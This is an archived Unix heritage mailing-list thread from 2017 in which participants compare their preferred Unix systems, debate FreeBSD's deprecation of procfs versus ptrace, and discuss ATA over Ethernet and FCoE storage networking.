[TUHS] UNIX of choice these days?

[TUHS] UNIX of choice these days?

[Arthur Krewat]

What's your UNIX of choice to do normal "real" things these days?

Home file server (NAS), business stuff, develop code, whatever.

Mine is Solaris 11.3 at this point. Oracle has provided almost all the 
"normal" utilities that are used by Linux folk, and it runs on Intel 
hardware rather well. My main storage is a raidz2 of 24TB and I get 
1.2GB/sec to a bunch of 3TB 512-byte-sector SAS drives.

It serves my vmware farm with iSCSI at 10gbe using COMSTAR, which also 
houses a bunch of Solaris 11 guests that perform various chores. It also 
houses some Linux and Windows guests for prototyping/testing. It's also 
my Samba server, servicing a few Windows workstations.

This is all in my home office where I do all my personal/professional work.

What do you all use for day-to-day development and general playing 
around with new stuff?

AAK

[TUHS] UNIX of choice these days?

[Larry McVoy]

xubuntu everywhere.  Laptops and my backup server.

BTW, I used to do external USB drives for backups, have zillions of
them sitting around unused now.  What I do now is I have a backup
server in my guest house (w/ gigabit cable to the house, wireless
was flakey) and two 4TB drivers as /backup1 and /backup2.  I just 
do rsyncs to backup:/backup1/`hostname` and I've got all the stuff
backed up and I haven't filled a 4TB drive yet.  It's WAY more efficient
than going "oh, I've got a 500GB SSD in this laptop?  Let me create a
500GB partition for it."  because of:

Filesystem      Size  Used Avail Use% Mounted on
/dev/sda1       462G  179G  260G  41% /

I need to mirror that 4TB to a cloud machine or a work machine so I have
offsite backups but it would take a pretty big mess for me to lose both
buildings.  It's possible, we live in forest fire country.

On Tue, Sep 19, 2017 at 08:12:57PM -0400, Arthur Krewat wrote:
> What's your UNIX of choice to do normal "real" things these days?
> 
> Home file server (NAS), business stuff, develop code, whatever.
> 
> Mine is Solaris 11.3 at this point. Oracle has provided almost all the
> "normal" utilities that are used by Linux folk, and it runs on Intel
> hardware rather well. My main storage is a raidz2 of 24TB and I get
> 1.2GB/sec to a bunch of 3TB 512-byte-sector SAS drives.
> 
> It serves my vmware farm with iSCSI at 10gbe using COMSTAR, which also
> houses a bunch of Solaris 11 guests that perform various chores. It also
> houses some Linux and Windows guests for prototyping/testing. It's also my
> Samba server, servicing a few Windows workstations.
> 
> This is all in my home office where I do all my personal/professional work.
> 
> What do you all use for day-to-day development and general playing around
> with new stuff?
> 
> AAK

-- 
---
Larry McVoy            	     lm at mcvoy.com             http://www.mcvoy.com/lm 

[TUHS] UNIX of choice these days?

[Dave Horsfall]

Definitely FreeBSD, because it's solid, has thousands of ports, and well, 
is BSD...  And I access it via my MacBook :-)

Be aware, though, that its mailing lists appear to be spam magnets i.e. 
anyone can post, not just members, and there is no attempt at moderation.

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."

[TUHS] UNIX of choice these days?

[Lyndon Nerenberg]

> On Sep 19, 2017, at 5:39 PM, Dave Horsfall <dave at horsfall.org> wrote:
> 
> Definitely FreeBSD, because it's solid, has thousands of ports, and well, is BSD...  And I access it via my MacBook :-)

Free is nice as a desktop environment, but over the last several years it has accreted a lot of bloat.  Ever since clang arrived I've become much less enamoured with it, despite being an active user since the 1.x days.  As a server platform, anything I cannot remotely install over the network using PXE, tftp, and http via the IPMI console is a non-starter.  That's the show stopper that's keeping it out of our data centres right now.

At $WORK I'm using Open for more than just firewalls these days.  It's so light weight, and bloat free.  The threading support in the network stack is great to see.  And even in its current state, we're running busy nginx/haproxy servers on really light weight Supermicro hardware where the machines barely wake up. 

For big server applications I would prefer to be using a Solaris derivative.  The way it lets you tune scheduling, processor affinity, kernel resources, etc., is remarkable.  But trying to sell that to anyone corporately these days is hopeless.  Hell, you can't even sell it 'technically' to people who should (and do) know better.

--lyndon

[TUHS] UNIX of choice these days?

[jason-tuhs]

>> Definitely FreeBSD, because it's solid, has thousands of ports, and 
>> well, is BSD...  And I access it via my MacBook :-)
>
> Free is nice as a desktop environment, but over the last several years 
> it has accreted a lot of bloat.  Ever since clang arrived I've become 
> much less enamoured with it, despite being an active user since the 1.x 
> days.  As a server platform, anything I cannot remotely install over the 
> network using PXE, tftp, and http via the IPMI console is a non-starter. 
> That's the show stopper that's keeping it out of our data centres right 
> now.

Has FreeBSD lost the ability to do unattended PXE installs?  Certainly 
this capability was there in the old sysinstall installer, and I used it 
extensively back in the FreeBSD-3 through FreeBSD-6 days.


My personal preference is still for FreeBSD, and it's what I use on my 
personal desktops, laptops, and most servers.


Most of my professional experience has been with Redhat Linux.  During the 
dot-com era, I found Linux to be disappointing (relative to BSD), but it's 
obviously caught up by this point, and I think it's a fine choice.


I tried hard to like Mac OSX.  On paper, it seemed like the ideal thing: a 
real unix kernel (well, sort of...) married to a "real" UI.  But in 
practice, I've found it hugely disappointing.  My main complaint is that 
the interfaces have been so unstable.  "It's just unix; you configure it 
by just editing files!  Oh, except that we decided to switch all the apps 
to reading this NetInfo database, we just left the flat files in /etc 
for... reasons... but all shipped software ignores them.  Wait, did I say 
NetInfo?  I meant OpenDirectory."  It felt like important interfaces were 
changing practically with every version, and not updating was, of course, 
not an option.

And then there was the whole Darwin v. OpenDarwin debacle and the 
basically fake approach to being open source.

It eventually became clear to me that Apple's intention was that users 
should never look under the hood nor tinker with the system.  And since 
looking under the hood and tinkering are kind of _sine qua non_ for me for 
an operating system, I stopped using it.


  -Jason

[TUHS] UNIX of choice these days?

[Dario Niedermann]

Il 20/09/2017 alle 02:39, Dave Horsfall ha scritto:

> Definitely FreeBSD, because it's solid, has thousands of ports,
> and well, is BSD...

I have been a user in the past, but I just can't forgive FreeBSD for
abandoning the proc filesystem  :-(

My "Unix" of choice for the last 9 years has been Slackware. Pretty much
the go-to distro for people who would love to run BSD, but can't (in my
case, because of broken ACPI suspend/resume support in BSD-land).


-- 
Dario Niedermann.                 Also on the Internet at:

gopher://darioniedermann.it/  <>  https://www.darioniedermann.it/

[TUHS] UNIX of choice these days?

[Steve Mynott]

On 23 September 2017 at 10:17, Dario Niedermann
<dario at darioniedermann.it> wrote:
> Il 20/09/2017 alle 02:39, Dave Horsfall ha scritto:
>
>> Definitely FreeBSD, because it's solid, has thousands of ports,
>> and well, is BSD...
>
> I have been a user in the past, but I just can't forgive FreeBSD for
> abandoning the proc filesystem  :-(

procfs still exists in FreeBSD and can be added to fstab but isn't
mounted by default after an install.

Generally the BSDs (and OS X) don't seem to actively maintain procfs
and it has been remove from OpenBSD.

-- 
4096R/EA75174B Steve Mynott <steve.mynott at gmail.com>

[TUHS] UNIX of choice these days?

[Dario Niedermann]

Il 23/09/2017 alle 11:36, Steve Mynott ha scritto:

> procfs still exists in FreeBSD and can be added to fstab but isn't
> mounted by default after an install.

But does the kernel put it to good use?

Since they deprecated procfs, most FreeBSD software will tend to not
expect it, and just ignore it.

> Generally the BSDs (and OS X) don't seem to actively maintain procfs
> and it has been remove from OpenBSD.

Indeed. Last time I checked, NetBSD was the holdout. I hope they don't
follow suit.

-- 
Dario Niedermann.                 Also on the Internet at:

gopher://darioniedermann.it/  <>  https://www.darioniedermann.it/

[TUHS] UNIX of choice these days?

[Dave Horsfall]

On Sat, 23 Sep 2017, Dario Niedermann wrote:

> But does the kernel put [/proc] to good use?

Doesn't "ps" use it?  Quicker than digging around /dev/kmem, surely?

I *like* /proc :-)

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."

[TUHS] UNIX of choice these days?

[Random832]

On Sat, Sep 23, 2017, at 19:04, Dave Horsfall wrote:
> On Sat, 23 Sep 2017, Dario Niedermann wrote:
> 
> > But does the kernel put [/proc] to good use?
> 
> Doesn't "ps" use it?  Quicker than digging around /dev/kmem, surely?

On OSX (which does not implement procfs or kmem), ps uses sysctl. It
looks like FreeBSD uses something called libkvm, which certainly
*sounds* like it digs around /dev/kmem, but looking at the code it looks
like it *actually* uses sysctl for process-related purposes.

[TUHS] UNIX of choice these days?

[Dave Horsfall]

On Sat, 23 Sep 2017, Random832 wrote:

> On OSX (which does not implement procfs or kmem), ps uses sysctl. It 
> looks like FreeBSD uses something called libkvm, which certainly 
> *sounds* like it digs around /dev/kmem, but looking at the code it looks 
> like it *actually* uses sysctl for process-related purposes.

I've just been introduced to sysctl(3) -- thanks :-)

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."

[TUHS] UNIX of choice these days?

[Andy Kosela]

On Saturday, September 23, 2017, Steve Mynott <steve.mynott at gmail.com>
wrote:

> On 23 September 2017 at 10:17, Dario Niedermann
> <dario at darioniedermann.it <javascript:;>> wrote:
> > Il 20/09/2017 alle 02:39, Dave Horsfall ha scritto:
> >
> >> Definitely FreeBSD, because it's solid, has thousands of ports,
> >> and well, is BSD...
> >
> > I have been a user in the past, but I just can't forgive FreeBSD for
> > abandoning the proc filesystem  :-(
>
> procfs still exists in FreeBSD and can be added to fstab but isn't
> mounted by default after an install.
>
> Generally the BSDs (and OS X) don't seem to actively maintain procfs
> and it has been remove from OpenBSD.
>
> --
> 4096R/EA75174B Steve Mynott <steve.mynott at gmail.com <javascript:;>>
>
>
This is not true.  Procfs has been deprecated in FreeBSD since at
least 2012.

  https://svnweb.freebsd.org/base/head/sys/fs/procfs/procfs.c?view=log

And replacement for procfs is not sysctl, but rather ptrace(2).

  https://lists.freebsd.org/pipermail/freebsd-fs/2011-February/010765.html

I am one of those that also did not like that.  There is some magical
simplicity in the way procfs is implemented -- it spells real UNIX to me.

--Andy
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170924/69259361/attachment.html>

[TUHS] UNIX of choice these days?

[ron minnich]

ptrace replaces procfs? Wow, that's a disappointing turn of events. It's
also against the flow of thought in the Unix community I knew in 1980. If
somebody has any of the old ca-1980 BSD manuals, you should find a BUGS
section on ptrace advocating a move to a file-system-like interface. I
always assumed ken wrote that little note when he was visiting UCB --
anybody know?

Plan 9 implements process debug via /proc, and several debuggers use that
interface -- including, in harvey, gdbstub so we can remote gdb processes.
I also implemented an strace-like command by extending /proc/pid/ctl with a
few extra commands. In so doing, I made it possible to write strace with a
shell script, which was kind of fun.

I always felt the /proc/pid/ctl model in Plan 9 implemented what we hoped
to see implemented in Unix to replace ptrace. ptrace, even the new ones,
are clunky in the best times.

The file system model is powerful. The strace based on /proc was a few
dozen lines.



On Sun, Sep 24, 2017 at 6:47 AM Andy Kosela <akosela at andykosela.com> wrote:

>
>
> On Saturday, September 23, 2017, Steve Mynott <steve.mynott at gmail.com>
> wrote:
>
>> On 23 September 2017 at 10:17, Dario Niedermann
>> <dario at darioniedermann.it> wrote:
>> > Il 20/09/2017 alle 02:39, Dave Horsfall ha scritto:
>> >
>> >> Definitely FreeBSD, because it's solid, has thousands of ports,
>> >> and well, is BSD...
>> >
>> > I have been a user in the past, but I just can't forgive FreeBSD for
>> > abandoning the proc filesystem  :-(
>>
>> procfs still exists in FreeBSD and can be added to fstab but isn't
>> mounted by default after an install.
>>
>> Generally the BSDs (and OS X) don't seem to actively maintain procfs
>> and it has been remove from OpenBSD.
>>
>> --
>> 4096R/EA75174B Steve Mynott <steve.mynott at gmail.com>
>>
>>
> This is not true.  Procfs has been deprecated in FreeBSD since at
> least 2012.
>
>   https://svnweb.freebsd.org/base/head/sys/fs/procfs/procfs.c?view=log
>
> And replacement for procfs is not sysctl, but rather ptrace(2).
>
>   https://lists.freebsd.org/pipermail/freebsd-fs/2011-February/010765.html
>
> I am one of those that also did not like that.  There is some magical
> simplicity in the way procfs is implemented -- it spells real UNIX to me.
>
> --Andy
>
>
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170924/00a3fee3/attachment.html>

[TUHS] UNIX of choice these days?

[Larry McVoy]

+1 on what Ron said.  I don't get the rationale for going back to ptrace.
Anyone know what it is?  Is there a perf issue?

On Sun, Sep 24, 2017 at 02:02:54PM +0000, ron minnich wrote:
> ptrace replaces procfs? Wow, that's a disappointing turn of events. It's
> also against the flow of thought in the Unix community I knew in 1980. If
> somebody has any of the old ca-1980 BSD manuals, you should find a BUGS
> section on ptrace advocating a move to a file-system-like interface. I
> always assumed ken wrote that little note when he was visiting UCB --
> anybody know?
> 
> Plan 9 implements process debug via /proc, and several debuggers use that
> interface -- including, in harvey, gdbstub so we can remote gdb processes.
> I also implemented an strace-like command by extending /proc/pid/ctl with a
> few extra commands. In so doing, I made it possible to write strace with a
> shell script, which was kind of fun.
> 
> I always felt the /proc/pid/ctl model in Plan 9 implemented what we hoped
> to see implemented in Unix to replace ptrace. ptrace, even the new ones,
> are clunky in the best times.
> 
> The file system model is powerful. The strace based on /proc was a few
> dozen lines.
> 
> 
> 
> On Sun, Sep 24, 2017 at 6:47 AM Andy Kosela <akosela at andykosela.com> wrote:
> 
> >
> >
> > On Saturday, September 23, 2017, Steve Mynott <steve.mynott at gmail.com>
> > wrote:
> >
> >> On 23 September 2017 at 10:17, Dario Niedermann
> >> <dario at darioniedermann.it> wrote:
> >> > Il 20/09/2017 alle 02:39, Dave Horsfall ha scritto:
> >> >
> >> >> Definitely FreeBSD, because it's solid, has thousands of ports,
> >> >> and well, is BSD...
> >> >
> >> > I have been a user in the past, but I just can't forgive FreeBSD for
> >> > abandoning the proc filesystem  :-(
> >>
> >> procfs still exists in FreeBSD and can be added to fstab but isn't
> >> mounted by default after an install.
> >>
> >> Generally the BSDs (and OS X) don't seem to actively maintain procfs
> >> and it has been remove from OpenBSD.
> >>
> >> --
> >> 4096R/EA75174B Steve Mynott <steve.mynott at gmail.com>
> >>
> >>
> > This is not true.  Procfs has been deprecated in FreeBSD since at
> > least 2012.
> >
> >   https://svnweb.freebsd.org/base/head/sys/fs/procfs/procfs.c?view=log
> >
> > And replacement for procfs is not sysctl, but rather ptrace(2).
> >
> >   https://lists.freebsd.org/pipermail/freebsd-fs/2011-February/010765.html
> >
> > I am one of those that also did not like that.  There is some magical
> > simplicity in the way procfs is implemented -- it spells real UNIX to me.
> >
> > --Andy
> >
> >
> >

-- 
---
Larry McVoy            	     lm at mcvoy.com             http://www.mcvoy.com/lm 

[TUHS] UNIX of choice these days?

[Kurt H Maier]

On Sun, Sep 24, 2017 at 07:06:17AM -0700, Larry McVoy wrote:
> +1 on what Ron said.  I don't get the rationale for going back to ptrace.
> Anyone know what it is?  Is there a perf issue?

The usual rationale presented is that someone can exhaust the fd table
and then you can't get anything done.  Instead of fixing that problem,
the popular approach is to add more syscalls, like with getrandom(2).

khm

[TUHS] UNIX of choice these days?

[Bakul Shah]

> On Sep 24, 2017, at 1:36 PM, Kurt H Maier <khm at sciops.net> wrote:
> 
> On Sun, Sep 24, 2017 at 07:06:17AM -0700, Larry McVoy wrote:
>> +1 on what Ron said.  I don't get the rationale for going back to ptrace.
>> Anyone know what it is?  Is there a perf issue?
> 
> The usual rationale presented is that someone can exhaust the fd table
> and then you can't get anything done.  Instead of fixing that problem,
> the popular approach is to add more syscalls, like with getrandom(2).

$ svn log sys/fs/procfs/procfs.c | head
------------------------------------------------------------------------
r314690 | badger | 2017-03-04 19:05:24 -0800 (Sat, 04 Mar 2017) | 15 lines
remove procfs ctl interface

This interface has no in-tree consumers and has been more or less
non-functional for several releases.

Remove manpage note that the procfs special file 'mem' is grouped to
kmem. This hasn't been true since r81107.

Remove procfs' README file. It is an out of date duplication of the manpage
(quoth the README: "since the bsd kernel is single-processor...").

Reviewed by:    vangyzen, bcr (manpage)
Approved by:    des (procfs maintainer), vangyzen (mentor)
Differential Revision:  https://reviews.freebsd.org/D9802

------------------------------------------------------------------------
r232278 | mm | 2012-02-28 16:30:18 -0800 (Tue, 28 Feb 2012) | 5 lines



There are just a few potential users of /proc and they were already
using other facilities. plus /proc is an optional facility. All this
conspired to make /proc less useful in FreeBSD. Unused code is in
danger of being garbage collected in FreeBSD :-)

[TUHS] UNIX of choice these days?

[Dave Horsfall]

On Sun, 24 Sep 2017, Bakul Shah wrote:

> There are just a few potential users of /proc and they were already 
> using other facilities. plus /proc is an optional facility. All this 
> conspired to make /proc less useful in FreeBSD. Unused code is in danger 
> of being garbage collected in FreeBSD :-)

Whatever happened to the Unix philosophy of everything looking like a 
file?  Adding more system calls is the Windoze (or perhaps Penguin) way of 
doing things.

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."

[TUHS] UNIX of choice these days?

[Steve Nickolas]

On Mon, 25 Sep 2017, Dave Horsfall wrote:

> On Sun, 24 Sep 2017, Bakul Shah wrote:
>
>> There are just a few potential users of /proc and they were already using 
>> other facilities. plus /proc is an optional facility. All this conspired to 
>> make /proc less useful in FreeBSD. Unused code is in danger of being 
>> garbage collected in FreeBSD :-)
>
> Whatever happened to the Unix philosophy of everything looking like a file? 
> Adding more system calls is the Windoze (or perhaps Penguin) way of doing 
> things.
>
>

I once thought of trying to develop an OS where not only was everything a 
file, but programs were in effect functions that could be chained 
together.

Then decided it was too radical.

-uso.

[TUHS] UNIX of choice these days?

[Wesley Parish]

I once thought of developing a computer where everything from the core functions to the peripherals 
was a network node. In effect replacing the bus. I found references to a Cambridge U (UK) computer 
system that purported to do just that but couldn't find any more info on it.

Your idea sounds like an extension of Oberon, from what I can remember of reading Wirth's book on the 
Oberon OS in the nineties.

You should give it a go.

Wesley Parish

Quoting Steve Nickolas <usotsuki at buric.co>:
> 
> I once thought of trying to develop an OS where not only was everything
> a 
> file, but programs were in effect functions that could be chained 
> together.
> 
> Then decided it was too radical.
> 
> -uso.
> 
>  



"I have supposed that he who buys a Method means to learn it." - Ferdinand Sor,
Method for Guitar

"A verbal contract isn't worth the paper it's written on." -- Samuel Goldwyn

[TUHS] UNIX of choice these days?

[Tony Finch]

Wesley Parish <wes.parish at paradise.net.nz> wrote:

> I once thought of developing a computer where everything from the core
> functions to the peripherals was a network node. In effect replacing the
> bus. I found references to a Cambridge U (UK) computer system that
> purported to do just that but couldn't find any more info on it.

The Desk Area Network, perhaps?
http://www.cl.cam.ac.uk/research/srg/dan.html

Tony.
-- 
f.anthony.n.finch  <dot at dotat.at>  http://dotat.at/  -  I xn--zr8h punycode
Malin, Hebrides: Southeast 3 or 4, increasing 5 or 6, occasionally 7 later in
west. Moderate becoming rough later. Fair. Good.

[TUHS] UNIX of choice these days?

[Wesley Parish]

Yes. I thought it made a lot of sense. 

Quoting Tony Finch <dot at dotat.at>:

> Wesley Parish <wes.parish at paradise.net.nz> wrote:
> 
> > I once thought of developing a computer where everything from the
> core
> > functions to the peripherals was a network node. In effect replacing
> the
> > bus. I found references to a Cambridge U (UK) computer system that
> > purported to do just that but couldn't find any more info on it.
> 
> The Desk Area Network, perhaps?
> http://www.cl.cam.ac.uk/research/srg/dan.html
> 
> Tony.
> -- 
> f.anthony.n.finch <dot at dotat.at> http://dotat.at/ - I xn--zr8h punycode
> Malin, Hebrides: Southeast 3 or 4, increasing 5 or 6, occasionally 7
> later in
> west. Moderate becoming rough later. Fair. Good.
>  



"I have supposed that he who buys a Method means to learn it." - Ferdinand Sor,
Method for Guitar

"A verbal contract isn't worth the paper it's written on." -- Samuel Goldwyn

[TUHS] UNIX of choice these days?

[Tony Finch]

Wesley Parish <wes.parish at paradise.net.nz> wrote:
> Quoting Tony Finch <dot at dotat.at>:
> > Wesley Parish <wes.parish at paradise.net.nz> wrote:
> >
> > > I once thought of developing a computer where everything from the core
> > > functions to the peripherals was a network node. In effect replacing the
> > > bus. I found references to a Cambridge U (UK) computer system that
> > > purported to do just that but couldn't find any more info on it.
> >
> > The Desk Area Network, perhaps?
> > http://www.cl.cam.ac.uk/research/srg/dan.html
>
> Yes. I thought it made a lot of sense.

There was an earlier project too, from the 1980s, based on
microprocessor distributed around the Cambridge fast ring:

https://www.cl.cam.ac.uk/research/srg/netos/projects/archive/plana/

Tony.
-- 
f.anthony.n.finch  <dot at dotat.at>  http://dotat.at/  -  I xn--zr8h punycode
Shannon, Rockall: South 6 to gale 8, perhaps severe gale 9 later in Rockall.
Rough or very rough. Rain or showers. Good, occasionally poor.

[TUHS] UNIX of choice these days?

[Larry McVoy]

So maybe Ron Minnich will remember this.  Back in the days of 10Mbit
ethernet I was pushing for 100Mbit.  Part of what I wanted was ethernet
all the way out to the disk drives.  It was a little ahead of its time,
the idea was to run Linux on the general purpose processor and be able
to send the questions to the drive rather than slurping all the data
across and pawing through it on the main CPU.  That was part of the
idea, the other part was power over ethernet and you need more space?
Just plug in a drive.

It's been over 20 years since I proposed that and things are starting
to look up a little.  Western Digital made a version of what I wanted,
an ethernet attached drive with a key/value store on the drive.  Not
quite there but closer.  And I just stumbled across this:

https://en.wikipedia.org/wiki/Data_center_bridging

Not sure how well that will work but it's interesting that people are
working on it.

On Tue, Sep 26, 2017 at 01:42:43PM +1300, Wesley Parish wrote:
> Yes. I thought it made a lot of sense. 
> 
> Quoting Tony Finch <dot at dotat.at>:
> 
> > Wesley Parish <wes.parish at paradise.net.nz> wrote:
> > 
> > > I once thought of developing a computer where everything from the
> > core
> > > functions to the peripherals was a network node. In effect replacing
> > the
> > > bus. I found references to a Cambridge U (UK) computer system that
> > > purported to do just that but couldn't find any more info on it.
> > 
> > The Desk Area Network, perhaps?
> > http://www.cl.cam.ac.uk/research/srg/dan.html
> > 
> > Tony.
> > -- 
> > f.anthony.n.finch <dot at dotat.at> http://dotat.at/ - I xn--zr8h punycode
> > Malin, Hebrides: Southeast 3 or 4, increasing 5 or 6, occasionally 7
> > later in
> > west. Moderate becoming rough later. Fair. Good.
> >  
> 
> 
> 
> "I have supposed that he who buys a Method means to learn it." - Ferdinand Sor,
> Method for Guitar
> 
> "A verbal contract isn't worth the paper it's written on." -- Samuel Goldwyn

-- 
---
Larry McVoy            	     lm at mcvoy.com             http://www.mcvoy.com/lm 

[TUHS] UNIX of choice these days?

[Bakul Shah]

You probably know Brantley Coile did ata over Ethernet. AOE is a simple protocol so the client side driver is simple. He ran plan9 on his controller. One per rack. Basically you have a storage area network. Adding disks becomes very easy. His company is back in business if you want to buy some!

AOE is probably a better idea than FCoE, fiber channel over Ethernet, with its requirement for a reliable transport. On the other hand, may be there is need for encrypted channels all the way to disks.

> On Sep 26, 2017, at 7:41 AM, Larry McVoy <lm at mcvoy.com> wrote:
> 
> So maybe Ron Minnich will remember this.  Back in the days of 10Mbit
> ethernet I was pushing for 100Mbit.  Part of what I wanted was ethernet
> all the way out to the disk drives.  It was a little ahead of its time,
> the idea was to run Linux on the general purpose processor and be able
> to send the questions to the drive rather than slurping all the data
> across and pawing through it on the main CPU.  That was part of the
> idea, the other part was power over ethernet and you need more space?
> Just plug in a drive.
> 
> It's been over 20 years since I proposed that and things are starting
> to look up a little.  Western Digital made a version of what I wanted,
> an ethernet attached drive with a key/value store on the drive.  Not
> quite there but closer.  And I just stumbled across this:
> 
> https://en.wikipedia.org/wiki/Data_center_bridging
> 
> Not sure how well that will work but it's interesting that people are
> working on it.
> 
>> On Tue, Sep 26, 2017 at 01:42:43PM +1300, Wesley Parish wrote:
>> Yes. I thought it made a lot of sense. 
>> 
>> Quoting Tony Finch <dot at dotat.at>:
>> 
>>> Wesley Parish <wes.parish at paradise.net.nz> wrote:
>>> 
>>>> I once thought of developing a computer where everything from the
>>> core
>>>> functions to the peripherals was a network node. In effect replacing
>>> the
>>>> bus. I found references to a Cambridge U (UK) computer system that
>>>> purported to do just that but couldn't find any more info on it.
>>> 
>>> The Desk Area Network, perhaps?
>>> http://www.cl.cam.ac.uk/research/srg/dan.html
>>> 
>>> Tony.
>>> -- 
>>> f.anthony.n.finch <dot at dotat.at> http://dotat.at/ - I xn--zr8h punycode
>>> Malin, Hebrides: Southeast 3 or 4, increasing 5 or 6, occasionally 7
>>> later in
>>> west. Moderate becoming rough later. Fair. Good.
>> 
>> 
>> 
>> "I have supposed that he who buys a Method means to learn it." - Ferdinand Sor,
>> Method for Guitar
>> 
>> "A verbal contract isn't worth the paper it's written on." -- Samuel Goldwyn
> 
> -- 
> ---
> Larry McVoy                     lm at mcvoy.com             http://www.mcvoy.com/lm 
> 

[TUHS] UNIX of choice these days?

[Warner Losh]

On Tue, Sep 26, 2017 at 11:34 AM, Bakul Shah <bakul at bitblocks.com> wrote:

> You probably know Brantley Coile did ata over Ethernet. AOE is a simple
> protocol so the client side driver is simple. He ran plan9 on his
> controller. One per rack. Basically you have a storage area network. Adding
> disks becomes very easy. His company is back in business if you want to buy
> some!
>
> AOE is probably a better idea than FCoE, fiber channel over Ethernet, with
> its requirement for a reliable transport. On the other hand, may be there
> is need for encrypted channels all the way to disks.


AoE: All the quality you'd expect from low end ATA drives couple with all
the reliability of low-end consumer grade ethernet. What could go wrong?

AoE really punted on all the reliability stuff, so if you have any kind of
congested network it's a total disaster. Plus, who doesn't want to access
storage via an arcane protocol designed so you could latch registers
effective, but not so you can encode requests so.

Sorry for the rant, but I've had to deal with too much low-end gear
recently and it makes me grumpy and AoE back in the early 2000's was a
total S***show of low-end, poor quality implementations....

Warner


> > On Sep 26, 2017, at 7:41 AM, Larry McVoy <lm at mcvoy.com> wrote:
> >
> > So maybe Ron Minnich will remember this.  Back in the days of 10Mbit
> > ethernet I was pushing for 100Mbit.  Part of what I wanted was ethernet
> > all the way out to the disk drives.  It was a little ahead of its time,
> > the idea was to run Linux on the general purpose processor and be able
> > to send the questions to the drive rather than slurping all the data
> > across and pawing through it on the main CPU.  That was part of the
> > idea, the other part was power over ethernet and you need more space?
> > Just plug in a drive.
> >
> > It's been over 20 years since I proposed that and things are starting
> > to look up a little.  Western Digital made a version of what I wanted,
> > an ethernet attached drive with a key/value store on the drive.  Not
> > quite there but closer.  And I just stumbled across this:
> >
> > https://en.wikipedia.org/wiki/Data_center_bridging
> >
> > Not sure how well that will work but it's interesting that people are
> > working on it.
> >
> >> On Tue, Sep 26, 2017 at 01:42:43PM +1300, Wesley Parish wrote:
> >> Yes. I thought it made a lot of sense.
> >>
> >> Quoting Tony Finch <dot at dotat.at>:
> >>
> >>> Wesley Parish <wes.parish at paradise.net.nz> wrote:
> >>>
> >>>> I once thought of developing a computer where everything from the
> >>> core
> >>>> functions to the peripherals was a network node. In effect replacing
> >>> the
> >>>> bus. I found references to a Cambridge U (UK) computer system that
> >>>> purported to do just that but couldn't find any more info on it.
> >>>
> >>> The Desk Area Network, perhaps?
> >>> http://www.cl.cam.ac.uk/research/srg/dan.html
> >>>
> >>> Tony.
> >>> --
> >>> f.anthony.n.finch <dot at dotat.at> http://dotat.at/ - I xn--zr8h
> punycode
> >>> Malin, Hebrides: Southeast 3 or 4, increasing 5 or 6, occasionally 7
> >>> later in
> >>> west. Moderate becoming rough later. Fair. Good.
> >>
> >>
> >>
> >> "I have supposed that he who buys a Method means to learn it." -
> Ferdinand Sor,
> >> Method for Guitar
> >>
> >> "A verbal contract isn't worth the paper it's written on." -- Samuel
> Goldwyn
> >
> > --
> > ---
> > Larry McVoy                     lm at mcvoy.com
> http://www.mcvoy.com/lm
> >
>
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170926/d4921242/attachment.html>

[TUHS] UNIX of choice these days?

[Bakul Shah]

On Tue, 26 Sep 2017 11:39:56 -0600 Warner Losh <imp at bsdimp.com> wrote:
Warner Losh writes:
> 
> On Tue, Sep 26, 2017 at 11:34 AM, Bakul Shah <bakul at bitblocks.com> wrote:
> 
> > You probably know Brantley Coile did ata over Ethernet. AOE is a simple
> > protocol so the client side driver is simple. He ran plan9 on his
> > controller. One per rack. Basically you have a storage area network. Adding
> > disks becomes very easy. His company is back in business if you want to buy
> > some!
> >
> > AOE is probably a better idea than FCoE, fiber channel over Ethernet, with
> > its requirement for a reliable transport. On the other hand, may be there
> > is need for encrypted channels all the way to disks.
> 
> 
> AoE: All the quality you'd expect from low end ATA drives couple with all
> the reliability of low-end consumer grade ethernet. What could go wrong?
> 
> AoE really punted on all the reliability stuff, so if you have any kind of
> congested network it's a total disaster. Plus, who doesn't want to access
> storage via an arcane protocol designed so you could latch registers
> effective, but not so you can encode requests so.
> 
> Sorry for the rant, but I've had to deal with too much low-end gear
> recently and it makes me grumpy and AoE back in the early 2000's was a
> total S***show of low-end, poor quality implementations....

I have no practical experience with either so no idea which
can be done better. Just an instinct that lower level
protocols should be kept simple. 

Ethernet is not a reliable protocol and I'd rather let an
higher level protocol deal with end to end reliability. And
while AOE uses ATA commands, attached disks can be SAS or ATA
or whatever the controller can handle. The congestion should
probably be dealt with at the ethernet switch level.  Since
each protocol message has a tag, the driver should keep track
of what it has not received and retry after timeout.

In a previous job I got pretty familiar with ieee 802.1ad and
802.1ah (QinQ and MACinMAC) and they get complex when they add
all the other stuff some of which probably belongs at layer 3.

FC itself is a transport protocol for SCSI etc. so FCoE adds
yet another layer. (And I suppose you can then send ethernet
frames over fiber!)

[TUHS] UNIX of choice these days?

[Larry McVoy]

On Tue, Sep 26, 2017 at 10:34:19AM -0700, Bakul Shah wrote:
> You probably know Brantley Coile did ata over Ethernet. AOE is a
> simple protocol so the client side driver is simple. He ran plan9
> on his controller. One per rack. Basically you have a storage area
> network. Adding disks becomes very easy. His company is back in business
> if you want to buy some!

Didn't know that, do now, thanks.  Very cool and pretty much what I 
was asking for 20+ years ago.  Ya gotta be patient I guess :)

> AOE is probably a better idea than FCoE, fiber channel over Ethernet,
> with its requirement for a reliable transport. On the other hand, may
> be there is need for encrypted channels all the way to disks.

Yeah, the old school people want their comfort zone, I'm also not so sure
that FCoE is such a good idea.

[TUHS] UNIX of choice these days?

[Grant Taylor]

On 09/26/2017 11:43 AM, Larry McVoy wrote:
> Yeah, the old school people want their comfort zone, I'm also not so sure
> that FCoE is such a good idea.

I think the main driver for FCoE is the fact that data centers don't 
want two parallel networks, Ethernet and Fibre Channel.

I don't think either side of the house /likes/ FCoE, but both are 
willing to (begrudgingly) work with it.



-- 
Grant. . . .
unix || die

-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
